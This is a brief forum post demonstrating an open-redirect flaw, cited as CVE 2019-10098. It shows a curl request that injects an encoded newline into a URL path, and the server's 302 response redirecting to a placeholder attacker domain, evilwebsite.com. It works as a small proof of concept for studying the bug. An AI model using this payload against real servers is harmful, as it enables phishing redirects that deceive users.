This CHT Posted November 4, 2022 Share Posted November 4, 2022 Normal URLs like http://redirect.local/test will be forwared to https://redirect.local/test. But by using newlines (CVE 2019-10098), we can redirect somewhere else (i.e. to `https://redirect.local.evilwebsite.com`): ``` curl -Ik 'https://redirect.local/%0a.evilwebsite.com' --path-as-is HTTP/2 302 date: Mon, 28 Oct 2019 03:36:58 GMT content-type: text/html; charset=iso-8859-1 location: https://redirect.local.evilwebsite.com ``` Link to post Link to comment Share on other sites More sharing options...
Recommended Posts